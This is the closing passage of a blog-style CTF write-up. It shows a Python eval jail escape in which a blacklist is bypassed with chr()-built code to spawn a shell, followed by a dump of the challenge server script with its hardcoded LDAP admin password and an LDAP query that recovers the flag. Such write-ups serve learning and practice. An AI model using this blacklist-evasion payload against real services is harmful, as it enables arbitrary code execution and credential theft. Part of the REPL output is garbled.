'chr(121) + ', 'chr(115) + ', 'chr(116) + ', 'chr(101) + ', 'chr(109) + ', 'chr(40) + ', 'chr(34) + ', 'chr(108) + ', 'chr(115) + ', 'chr(34) + ', 'chr(41) + '] >>> ''.join([f"chr({x}) + " for x in [95, 95, 105, 109, 112, 111, 114, 116, 95, 95, 40, 34, 111, 115, 34, 41, 46, 115, 121, 115, 116, 101, 109, 40, 34, 108, 115, 34, 41]]) 'chr(95) + chr(95) + chr(105) + chr(109) + chr(112) + chr(111) + chr(114) + chr(116) + chr(95) + chr(95) + chr(40) + chr(34) + chr(111) + chr(115) + chr(34) + chr(41) + chr(46) + chr(115) + chr(121) + chr(115) + chr(116) + chr(101) + chr(109) + chr(40) + chr(34) + chr(108) + chr(115) + chr(34) + chr(41) + ' (Yes, I copied those lists by hand from one command to the next - I believe that my initial attempt must have been even more crude, likely joining the chr strings in vim for example until eventually taking advantage of the loop to do it.) This would, in theory, allow us to bypass the protection and execute arbitrary python code, so I started trying to get a shell. After creating the right payload we get one! We then perform the typical tty upgrade and switching to bash to get a better prompt and start digging: eval(chr(95) +chr(95) +chr(105) +chr(109) +chr(112) +chr(111) +chr(114) +chr(116) +chr(95) +chr(95) +chr(40) +chr(34) +chr(111) +chr(115) +chr(34) +chr(41) +chr(46) +chr(115) +chr(121) +chr(115) +chr(116) +chr(101) +chr(109) +chr(40) +chr(34) +chr(115) +chr(104) +chr(34) +chr(41)) # Translates to eval('__import__("os").system("sh")') [email protected]:/home/fword$ ls
directories.py  ynetd
[email protected]:/home/fword$cat directories.py #!/bin/python2 import ldap def isallowed(input): blacklist = ["s","search","flag","conn","os","import","execv","open","ldap"] for el in blacklist: if el in input: return 0 return 1 try: conn = ldap.initialize('ldap://openldap') conn.set_option(ldap.OPT_REFERRALS, 0) conn.protocol_version = ldap.VERSION3 conn.simple_bind_s("cn=admin,dc=fwordctfdomain,dc=org", "F'97!=5~5sM*") print("Welcome to our Directory Manager, what do you want to execute : ") inp = raw_input() if isallowed(inp): print eval(inp) else: print("Thank you !") conn.unbind() except ldap.LDAPError as e: print (str(e)) [email protected]:/home/fword$ ls -la /home
total 12
drwxr-xr-x 1 root root 4096 Aug 28 21:08 .
drwxr-xr-x 1 root root 4096 Aug 30 05:22 ..
drwxr-xr-x 1 root root 4096 Aug 28 22:03 fword
[email protected]:/home\$ find / -iname flag
find: '/var/cache/ldconfig': Permission denied
find: '/var/cache/apt/archives/partial': Permission denied
find: '/var/lib/apt/lists/partial': Permission denied
find: '/proc/tty/driver': Permission denied
find: '/proc/3822/fd': Permission denied
find: '/proc/3822/map_files': Permission denied
find: '/proc/3822/fdinfo': Permission denied
find: '/proc/3822/ns': Permission denied
find: '/etc/ssl/private': Permission denied
find: '/root': Permission denied

I think that it is time to go back to the LDAP connection. With about 10-20 minutes to close, I open a python prompt up again and replicate the LDAP instructions in the script. After struggling for a while due to not really understanding LDAP a lot, especially via a python interface, I eventually thought to remove the cn=admin entry (which now I know is called a Common Name) and finally get the flag, which was submitted with only a few minutes to spare! (there's a section where the output got a bit garbled, since I had not yet set the stty rows and columns. I dipped out of the python REPL for a bit and did that so the rest of the output is not garbled anymore)

>>> import ldap
>>> conn = ldap.initialize('ldap://openldap')
>>> conn.set_option(ldap.OPT_REFERRALS, 0)
>>> conn.protocol_version = ldap.VERSION3
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "/usr/local/lib/python2.7/dist-packages/ldap/ldapobject.py", line 870, in search_s
return self.search_ext_s(base,scope,filterstr,attrlist,attrsonly,None,None,timeout=self.timeout)
File "/usr/local/lib/python2.7/dist-packages/ldap/ldapobject.py", line 863, in search_ext_s
msgid = self.search_ext(base,scope,filterstr,attrlist,attrsonly,serverctrls,clientctrls,timeout,sizelimit)
File "/usr/local/lib/python2.7/dist-packages/ldap/ldapobject.py", line 859, in search_ext
timeout,sizelimit,
File "/usr/local/lib/python2.7/dist-packages/ldap/ldapobject.py", line 340, in _ldap_call
reraise(exc_type, exc_value, exc_traceback)
File "/usr/local/lib/python2.7/dist-packages/ldap/ldapobject.py", line 324, in _ldap_call
result = func(*args,**kwargs)
ldap.FILTER_ERROR: {'ctrls': [], 'result': -7, 'desc': u'Bad search filter'}
File "<stdin>", line 1
>> conn.search_s("cn=admin,dc=fwordctfdomain,dc=org", ldap.SCOPE_SUBTREE, fdomain,dc=org", ldap.SCOPE_SUBTREE, '(obje
[]
2
>>> conn.search_s("dc=fwordctfdomain,dc=org", ldap.SCOPE_SUBTREE)
[('dc=fwordctfdomain,dc=org', {'objectClass': ['top', 'dcObject', 'organization'], 'dc': ['fwordctfdomain'], 'o': ['FwordTeam']}), ('cn=admin,dc=fwordctfdomain,dc=org', {'objectClass': ['simpleSecurityObject', 'organizationalRole'], 'userPassword': ['{SSHA}NaiVs2jWVvkn0mBUpWs/JWxLov4b6KQk'], 'cn': ['admin'], 'description': ['LDAP administrator']}), ('cn=fword,dc=fwordctfdomain,dc=org', {'objectClass': ['person'], 'userPassword': ['FwordCTF{n0thinG_c4n_st0P_y0u_fr0M_ach1evinG_y0uR_GoAL}'], 'sn': ['fword player'], 'cn': ['fword CTF player', 'fword']})]

By extending the scope of our LDAP search query, we find a person with the flag as the password: FwordCTF{n0thinG_c4n_st0P_y0u_fr0M_ach1evinG_y0uR_GoAL}

## Sign-off

A huge thanks to the FWord CTF organizers for setting up the challenges. It was a blast of a CTF and one of the best I've participated in for sure! Not only for how varied the challenges were (both in terms of areas and difficulty) but also due to how easily reachable the organization was. Whenever there was an issue they were always reachable and quick to address the problems. They were even kind enough to create participation certificates for all of the teams with a non-zero score! I think they look pretty cool, what about you?

The Memory challenges made for an interesting concept of challenges that are linked in sequence with each other (despite some part sadly being trivialized by strings + grep`ing the flag format). If I ever host a CTF one day, I might try to do something like this :)

As a note to myself, I really need to learn RE and pwn since I couldn't even get the easiest challenges for each of those and they are in virtually every CTF. I should've also been able to get some of the Web challenges, though I only looked at the first one and it seemed harder than usual. I have started trying microcorruption embedded security CTF before the CTF to try and practice some RE/Pwning, but have yet to make noticeable progress (only completed a couple levels). It seems like an interesting platform though, so I thought I'd recommend it here in an attempt to also make myself keep working on it 😁

I hope you enjoyed reading about these challenges, just like I enjoyed solving them.
And as always: thanks for reading!